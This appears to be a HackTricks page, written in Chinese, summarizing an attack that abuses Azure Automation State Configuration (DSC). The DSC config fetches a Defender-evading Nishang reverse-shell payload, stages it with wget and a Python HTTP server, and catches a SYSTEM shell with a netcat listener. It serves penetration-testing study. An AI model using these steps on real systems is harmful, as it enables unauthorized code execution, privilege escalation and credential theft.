Az - State Configuration RCE

支持HackTricks

查看完整帖子:https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

远程服务器(C2)基础设施准备和步骤摘要

概述

该过程涉及设置远程服务器基础设施,用于托管一个修改过的Nishang Invoke-PowerShellTcp.ps1有效载荷,命名为RevPS.ps1,旨在绕过Windows Defender。有效载荷从具有IP 40.84.7.74的Kali Linux机器上提供,使用简单的Python HTTP服务器执行操作经过多个步骤执行:

步骤1 — 创建文件

  • 所需文件: 需要两个PowerShell脚本:

  1. reverse_shell_config.ps1:一个期望状态配置(DSC)文件,用于获取和执行有效载荷。可从GitHub获取。

  2. push_reverse_shell_config.ps1:一个用于将配置发布到虚拟机的脚本,可在GitHub找到。

  • 定制: 这些文件中的变量和参数必须根据用户特定环境进行定制,包括资源名称、文件路径和服务器/有效载荷标识符。

步骤2 — 压缩配置文件

  • reverse_shell_config.ps1压缩为.zip文件,使其准备好传输到Azure存储账户。

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

第3步 — 设置存储上下文 & 上传

  • 使用 Azure 的 Set-AzStorageBlobContent 命令,将压缩的配置文件上传到预定义的 Azure 存储容器 azure-pentest。

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

第4步 — 准备Kali Box

  • Kali服务器从GitHub存储库下载RevPS.ps1有效载荷。

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • 脚本被编辑以指定目标 Windows VM 和反向 shell 的端口。

步骤 5 — 发布配置文件

  • 执行配置文件,导致反向 shell 脚本部署到 Windows VM 上指定的位置。

步骤 6 — 托管 Payload 和设置监听器

  • 启动 Python SimpleHTTPServer 来托管 payload,并启动 Netcat 监听器以捕获传入连接。

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • 计划任务执行有效载荷,实现了SYSTEM级别的特权。

结论

此过程的成功执行为进一步行动打开了许多可能性,例如凭据转储或将攻击扩展到多个虚拟机。该指南鼓励在Azure Automation DSC领域继续学习和创造。

支持 HackTricks

Last updated